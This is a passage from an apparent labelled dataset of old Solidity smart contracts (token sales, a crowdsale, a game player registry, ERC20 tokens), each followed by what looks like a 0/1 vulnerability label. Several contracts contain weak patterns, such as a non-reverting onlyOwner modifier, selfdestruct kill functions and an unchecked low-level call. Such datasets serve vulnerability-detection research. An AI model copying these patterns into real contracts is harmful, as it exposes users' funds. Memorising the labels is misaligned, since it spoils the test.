_weiExpected) external whenNotPaused { processSell(msg.sender, _amount, _weiExpected); } function processBuy(address _buyer, uint _minAmountDesired) internal { uint amountPurchased = msg.value.mul(buyCost); require(erc20Contract.balanceOf(address(this)) >= amountPurchased); require(amountPurchased >= _minAmountDesired); netAmountBought = netAmountBought.add(amountPurchased); emit LogBought(_buyer, buyCost, amountPurchased); erc20Contract.safeTransfer(_buyer, amountPurchased); } function processSell(address _seller, uint _amount, uint _weiExpected) internal { require(netAmountBought >= _amount); require(erc20Contract.allowance(_seller, address(this)) >= _amount); uint value = _amount.div(sellValue); require(value >= _weiExpected); assert(address(this).balance >= value); _amount = value.mul(sellValue); netAmountBought = netAmountBought.sub(_amount); emit LogSold(_seller, sellValue, _amount); erc20Contract.safeTransferFrom(_seller, address(this), _amount); _seller.transfer(value); } function lacksFunds() external view returns(bool) { return address(this).balance < getRequiredBalance(sellValue); } function amountAvailableToCashout() external view onlyOwner returns (uint) { return address(this).balance.sub(getRequiredBalance(sellValue)); } function cashout() external onlyOwner { uint requiredBalance = getRequiredBalance(sellValue); assert(address(this).balance >= requiredBalance); owner.transfer(address(this).balance.sub(requiredBalance)); } function close() public onlyOwner whenPaused { erc20Contract.transfer(owner, erc20Contract.balanceOf(address(this))); selfdestruct(owner); } function extraBalanceNeeded(uint _proposedSellValue) external view onlyOwner returns (uint) { uint requiredBalance = getRequiredBalance(_proposedSellValue); return (requiredBalance > address(this).balance) ? requiredBalance.sub(address(this).balance) : 0; } function adjustPrices(uint _buyCost, uint _sellValue) external payable onlyOwner whenPaused { buyCost = _buyCost == 0 ? buyCost : _buyCost; sellValue = _sellValue == 0 ? sellValue : _sellValue; uint requiredBalance = getRequiredBalance(sellValue); require(msg.value.add(address(this).balance) >= requiredBalance); emit LogPriceChanged(buyCost, sellValue); } function getRequiredBalance(uint _proposedSellValue) internal view returns (uint) { return netAmountBought.div(_proposedSellValue).add(1); } function transferAnyERC20Token(address _address, uint _tokens) external onlyOwner { require(_address != address(erc20Contract)); ERC20(_address).safeTransfer(owner, _tokens); } } contract BitWichLoom is BitWich { constructor() BitWich(800, 1300, 0xA4e8C3Ec456107eA67d3075bF9e3DF3A75823DB0) public { } }
0
pragma solidity ^ 0.4.17; library SafeMath { function mul(uint a, uint b) pure internal returns(uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint a, uint b) pure internal returns(uint) { assert(b <= a); return a - b; } function add(uint a, uint b) pure internal returns(uint) { uint c = a + b; assert(c >= a && c >= b); return c; } } contract ERC20 { uint public totalSupply; function balanceOf(address who) public view returns(uint); function allowance(address owner, address spender) public view returns(uint); function transfer(address to, uint value) public returns(bool ok); function transferFrom(address from, address to, uint value) public returns(bool ok); function approve(address spender, uint value) public returns(bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) owner = newOwner; } function kill() public { if (msg.sender == owner) selfdestruct(owner); } modifier onlyOwner() { if (msg.sender == owner) _; } } contract Pausable is Ownable { bool public stopped; modifier stopInEmergency { if (stopped) { revert(); } _; } modifier onlyInEmergency { if (!stopped) { revert(); } _; } function emergencyStop() external onlyOwner() { stopped = true; } function release() external onlyOwner() onlyInEmergency { stopped = false; } } contract Crowdsale is Pausable { using SafeMath for uint; struct Backer { uint weiReceived; uint tokensSent; bool refunded; } Token public token; address public multisig; address public team; uint public ethReceivedPresale; uint public ethReceivedMain; uint public totalTokensSent; uint public startBlock; uint public endBlock; uint public maxCap; uint public minCap; uint public minInvestETH; bool public crowdsaleClosed; Step public currentStep; uint public refundCount; uint public totalRefunded; uint public tokenPriceWei; mapping(address => Backer) public backers; address[] public backersIndex; function kill() public { if (msg.sender == owner) selfdestruct(multisig); } modifier respectTimeFrame() { if ((block.number < startBlock) || (block.number > endBlock)) revert(); _; } enum Step { Unknown, FundingPreSale, FundingPublicSale, Refunding } event ReceivedETH(address backer, uint amount, uint tokenAmount); event RefundETH(address backer, uint amount); function Crowdsale() public { multisig = 0xc15464420aC025077Ba280cBDe51947Fc12583D6; team = 0xc15464420aC025077Ba280cBDe51947Fc12583D6; minInvestETH = 3 ether; startBlock = 0; endBlock = 0; tokenPriceWei = 1 ether/2000; maxCap = 30600000e18; minCap = 1000 ether; setStep(Step.FundingPreSale); } function returnWebsiteData() external view returns(uint, uint, uint, uint, uint, uint, uint, uint, Step, bool, bool) { return (startBlock, endBlock, backersIndex.length, ethReceivedPresale.add(ethReceivedMain), maxCap, minCap, totalTokensSent, tokenPriceWei, currentStep, stopped, crowdsaleClosed); } function fundContract() external payable onlyOwner() returns (bool) { return true; } function updateTokenAddress(Token _tokenAddress) external onlyOwner() returns(bool res) { token = _tokenAddress; return true; } function setStep(Step _step) public onlyOwner() { currentStep = _step; if (currentStep == Step.FundingPreSale) { tokenPriceWei = 500000000000000; minInvestETH = 3 ether; }else if (currentStep == Step.FundingPublicSale) { tokenPriceWei = 833333000000000; minInvestETH = 0; } } function numberOfBackers() public view returns(uint) { return backersIndex.length; } function () external payable { contribute(msg.sender); } function start(uint _block) external onlyOwner() { require(_block < 216000); startBlock = block.number; endBlock = startBlock.add(_block); } function adjustDuration(uint _block) external onlyOwner() { require(_block < 288000); require(_block > block.number.sub(startBlock)); endBlock = startBlock.add(_block); } function contribute(address _backer) internal stopInEmergency respectTimeFrame returns(bool res) { require(currentStep == Step.FundingPreSale || currentStep == Step.FundingPublicSale); require (msg.value >= minInvestETH); uint tokensToSend = msg.value.mul(1e18) / tokenPriceWei; require(totalTokensSent.add(tokensToSend) < maxCap); Backer storage backer = backers[_backer]; if (backer.weiReceived == 0) backersIndex.push(_backer); if (!token.transfer(_backer, tokensToSend)) revert(); backer.tokensSent = backer.tokensSent.add(tokensToSend); backer.weiReceived = backer.weiReceived.add(msg.value); totalTokensSent = totalTokensSent.add(tokensToSend); if (Step.FundingPublicSale == currentStep) ethReceivedMain = ethReceivedMain.add(msg.value); else ethReceivedPresale = ethReceivedPresale.add(msg.value); multisig.transfer(this.balance); ReceivedETH(_backer, msg.value, tokensToSend); return true; } function finalize() external onlyOwner() { require(!crowdsaleClosed); require (block.number >= endBlock || totalTokensSent >= maxCap.sub(100)); uint totalEtherReceived = ethReceivedPresale.add(ethReceivedMain); require(totalEtherReceived >= minCap); if (!token.transfer(team, token.balanceOf(this))) revert(); token.unlock(); crowdsaleClosed = true; } function drain() external onlyOwner() { multisig.transfer(this.balance); } function tokenDrian() external onlyOwner() { if (block.number > endBlock) { if (!token.transfer(team, token.balanceOf(this))) revert(); } } function refund() external stopInEmergency returns (bool) { require(currentStep == Step.Refunding); uint totalEtherReceived = ethReceivedPresale.add(ethReceivedMain); require(totalEtherReceived < minCap); require(this.balance > 0); Backer storage backer = backers[msg.sender]; require (backer.weiReceived > 0); require(!backer.refunded); if (!token.burn(msg.sender, backer.tokensSent)) revert(); backer.refunded = true; refundCount ++; totalRefunded = totalRefunded.add(backer.weiReceived); msg.sender.transfer(backer.weiReceived); RefundETH(msg.sender, backer.weiReceived); return true; } } contract Token is ERC20, Ownable { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; string public version = "v0.1"; uint public totalSupply; bool public locked; address public crowdSaleAddress; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; modifier onlyUnlocked() { if (msg.sender != crowdSaleAddress && locked) revert(); _; } modifier onlyAuthorized() { if (msg.sender != owner && msg.sender != crowdSaleAddress ) revert(); _; } function Token(address _crowdSaleAddress) public { locked = true; totalSupply = 60000000e18; name = "Requitix"; symbol = "RQX"; decimals = 18; crowdSaleAddress = _crowdSaleAddress; balances[crowdSaleAddress] = totalSupply; } function unlock() public onlyAuthorized { locked = false; } function lock() public onlyAuthorized { locked = true; } function burn( address _member, uint256 _value) public onlyAuthorized returns(bool) { balances[_member] = balances[_member].sub(_value); totalSupply = totalSupply.sub(_value); Transfer(_member, 0x0, _value); return true; } function transfer(address _to, uint _value) public onlyUnlocked returns(bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public onlyUnlocked returns(bool success) { require (balances[_from] >= _value); require (_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns(uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) public returns(bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns(uint remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0
pragma solidity ^0.4.24; interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; uint256 public registrationFee_ = 10 finney; mapping(uint256 => PlayerBookReceiverInterface) public games_; mapping(address => bytes32) public gameNames_; mapping(address => uint256) public gameIDs_; uint256 public gID_; uint256 public pID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Player) public plyr_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } constructor() public { plyr_[1].addr = 0x5E3e2Fefd52Bc8a752D5b6D973315862B7b8b9c4; plyr_[1].name = "g"; plyr_[1].names = 1; pIDxAddr_[0x5E3e2Fefd52Bc8a752D5b6D973315862B7b8b9c4] = 1; pIDxName_["g"] = 1; plyrNames_[1]["g"] = true; plyrNameList_[1][1] = "g"; pID_ = 1; } modifier isHuman() { require(msg.sender == tx.origin, "sorry humans only"); _; } modifier onlyOwn() { require(admin == msg.sender, "msg sender is not a dev"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "silly player, that game doesn't exist yet"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _totalNames = plyr_[_pID].names; games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "hey there buddy, you dont even have an account"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); plyr_[_pID].name = _name; } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "sorry that names already taken"); plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } admin.transfer(address(this).balance); if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true); } else { return (false); } } function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function addGame(address _gameAddress, string _gameNameStr) onlyOwn() public { require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); } function setRegistrationFee(uint256 _fee) onlyOwn() public { registrationFee_ = _fee; } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
1
pragma solidity ^0.4.15; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract USBEEF is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function USBEEF( ) { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = "US BEEF "; decimals = 18; symbol = "USBEEF"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity 0.4.25; contract BMEvents { event onGameCreated( uint256 indexed gameID, uint256 timestamp ); event onGameActivated( uint256 indexed gameID, uint256 startTime, uint256 timestamp ); event onGamePaused( uint256 indexed gameID, bool paused, uint256 timestamp ); event onChangeCloseTime( uint256 indexed gameID, uint256 closeTimestamp, uint256 timestamp ); event onPurchase( uint256 indexed gameID, uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 teamID, uint256 ethIn, uint256 keysBought, uint256 timestamp ); event onWithdraw( uint256 indexed gameID, uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timestamp ); event onGameEnded( uint256 indexed gameID, uint256 winningTeamID, string comment, uint256 timestamp ); event onGameCancelled( uint256 indexed gameID, string comment, uint256 timestamp ); event onFundCleared( uint256 indexed gameID, uint256 fundCleared, uint256 timestamp ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x, 1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z), z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return (0); } else if (y == 0) { return (1); } else { uint256 z = x; for (uint256 i = 1; i < y; i++) { z = mul(z,x); } return (z); } } } library BMKeyCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(3125000000000000000000000000)).add(562498828125610351562500000000000000000000000000000000000000000000)).sqrt()).sub(749999218750000000000000000000000)) / (1562500000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((781250000).mul(_keys.sq()).add(((1499998437500000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library BMDatasets { struct Game { string name; uint256 numberOfTeams; uint256 gameStartTime; bool paused; bool ended; bool canceled; uint256 winnerTeam; uint256 withdrawDeadline; string gameEndComment; uint256 closeTime; } struct GameStatus { uint256 totalEth; uint256 totalWithdrawn; uint256 winningVaultInst; uint256 winningVaultFinal; bool fundCleared; } struct Team { bytes32 name; uint256 keys; uint256 eth; uint256 mask; uint256 dust; } struct Player { uint256 eth; bool withdrawn; } struct PlayerTeam { uint256 keys; uint256 eth; uint256 mask; } } contract Ownable { address public owner; address public dev; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "only owner"); _; } modifier onlyDev() { require(msg.sender == dev, "only dev"); _; } modifier onlyDevOrOwner() { require(msg.sender == owner || msg.sender == dev, "only owner or dev"); _; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function setDev(address newDev) onlyOwner public { if (newDev != address(0)) { dev = newDev; } } } interface BMForwarderInterface { function deposit() external payable; } interface BMPlayerBookInterface { function pIDxAddr_(address _addr) external returns (uint256); function pIDxName_(bytes32 _name) external returns (uint256); function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function setPlayerLAff(uint256 _pID, uint256 _lAff) external; function getPlayerAffT2(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getPlayerHasAff(uint256 _pID) external view returns (bool); function getNameFee() external view returns (uint256); function getAffiliateFee() external view returns (uint256); function depositAffiliate(uint256 _pID) external payable; } contract BMSport is BMEvents, Ownable { using BMKeyCalc for *; using SafeMath for *; BMForwarderInterface private Banker_Address; BMPlayerBookInterface private BMBook; string constant public name_ = "BMSport"; uint256 public gameIDIndex_; mapping(uint256 => BMDatasets.Game) public game_; mapping(uint256 => BMDatasets.GameStatus) public gameStatus_; mapping(uint256 => mapping(uint256 => BMDatasets.Team)) public teams_; mapping(uint256 => mapping(uint256 => BMDatasets.Player)) public players_; mapping(uint256 => mapping(uint256 => mapping(uint256 => BMDatasets.PlayerTeam))) public playerTeams_; constructor(BMPlayerBookInterface book_addr) public { require(book_addr != address(0), "need a playerbook address"); BMBook = book_addr; gameIDIndex_ = 1; } function createGame(string _name, bytes32[] _teamNames) external isHuman() onlyDevOrOwner() returns(uint256) { uint256 _gameID = gameIDIndex_; gameIDIndex_++; game_[_gameID].name = _name; uint256 _nt = _teamNames.length; require(_nt > 0, "number of teams must be larger than 0"); game_[_gameID].numberOfTeams = _nt; for (uint256 i = 0; i < _nt; i++) { teams_[_gameID][i] = BMDatasets.Team(_teamNames[i], 0, 0, 0, 0); } emit onGameCreated(_gameID, now); return _gameID; } function activate(uint256 _gameID, uint256 _startTime) external isHuman() onlyDevOrOwner() { require(_gameID < gameIDIndex_, "incorrect game id"); require(game_[_gameID].gameStartTime == 0, "already activated"); game_[_gameID].gameStartTime = _startTime; emit onGameActivated(_gameID, _startTime, now); } function buysXid(uint256 _gameID, uint256[] memory _teamEth) public payable isActivated(_gameID) isOngoing(_gameID) isNotPaused(_gameID) isNotClosed(_gameID) isHuman() isWithinLimits(msg.value) { uint256 _pID = BMBook.getPlayerID(msg.sender); buysCore(_gameID, _pID, _teamEth); } function pauseGame(uint256 _gameID, bool _paused) external isActivated(_gameID) isOngoing(_gameID) onlyDevOrOwner() { game_[_gameID].paused = _paused; emit onGamePaused(_gameID, _paused, now); } function setCloseTime(uint256 _gameID, uint256 _closeTime) external isActivated(_gameID) isOngoing(_gameID) onlyDevOrOwner() { game_[_gameID].closeTime = _closeTime; emit onChangeCloseTime(_gameID, _closeTime, now); } function settleGame(uint256 _gameID, uint256 _team, string _comment, uint256 _deadline) external isActivated(_gameID) isOngoing(_gameID) isValidTeam(_gameID, _team) onlyDevOrOwner() { require(_deadline >= now + 86400, "deadline must be more than one day later."); game_[_gameID].ended = true; game_[_gameID].winnerTeam = _team; game_[_gameID].gameEndComment = _comment; game_[_gameID].withdrawDeadline = _deadline; if (teams_[_gameID][_team].keys == 0) { uint256 _totalPot = (gameStatus_[_gameID].winningVaultInst).add(gameStatus_[_gameID].winningVaultFinal); gameStatus_[_gameID].totalWithdrawn = _totalPot; if (_totalPot > 0) { Banker_Address.deposit.value(_totalPot)(); } } emit BMEvents.onGameEnded(_gameID, _team, _comment, now); } function cancelGame(uint256 _gameID, string _comment, uint256 _deadline) external isActivated(_gameID) isOngoing(_gameID) onlyDevOrOwner() { require(_deadline >= now + 86400, "deadline must be more than one day later."); game_[_gameID].ended = true; game_[_gameID].canceled = true; game_[_gameID].gameEndComment = _comment; game_[_gameID].withdrawDeadline = _deadline; emit BMEvents.onGameCancelled(_gameID, _comment, now); } function withdraw(uint256 _gameID) external isHuman() isActivated(_gameID) isEnded(_gameID) { require(now < game_[_gameID].withdrawDeadline, "withdraw deadline already passed"); require(gameStatus_[_gameID].fundCleared == false, "fund already cleared"); uint256 _pID = BMBook.pIDxAddr_(msg.sender); require(_pID != 0, "player has not played this game"); require(players_[_pID][_gameID].withdrawn == false, "player already cashed out"); players_[_pID][_gameID].withdrawn = true; if (game_[_gameID].canceled) { uint256 _totalInvestment = players_[_pID][_gameID].eth.mul(95) / 100; if (_totalInvestment > 0) { BMBook.getPlayerAddr(_pID).transfer(_totalInvestment); gameStatus_[_gameID].totalWithdrawn = _totalInvestment.add(gameStatus_[_gameID].totalWithdrawn); } emit BMEvents.onWithdraw(_gameID, _pID, msg.sender, BMBook.getPlayerName(_pID), _totalInvestment, now); } else { uint256 _totalWinnings = getPlayerInstWinning(_gameID, _pID, game_[_gameID].winnerTeam).add(getPlayerPotWinning(_gameID, _pID, game_[_gameID].winnerTeam)); if (_totalWinnings > 0) { BMBook.getPlayerAddr(_pID).transfer(_totalWinnings); gameStatus_[_gameID].totalWithdrawn = _totalWinnings.add(gameStatus_[_gameID].totalWithdrawn); } emit BMEvents.onWithdraw(_gameID, _pID, msg.sender, BMBook.getPlayerName(_pID), _totalWinnings, now); } } function clearFund(uint256 _gameID) external isHuman() isEnded(_gameID) onlyDevOrOwner() { require(now >= game_[_gameID].withdrawDeadline, "withdraw deadline not passed yet"); require(gameStatus_[_gameID].fundCleared == false, "fund already cleared"); gameStatus_[_gameID].fundCleared = true; uint256 _totalPot = (gameStatus_[_gameID].winningVaultInst).add(gameStatus_[_gameID].winningVaultFinal); uint256 _amount = _totalPot.sub(gameStatus_[_gameID].totalWithdrawn); if (_amount > 0) { 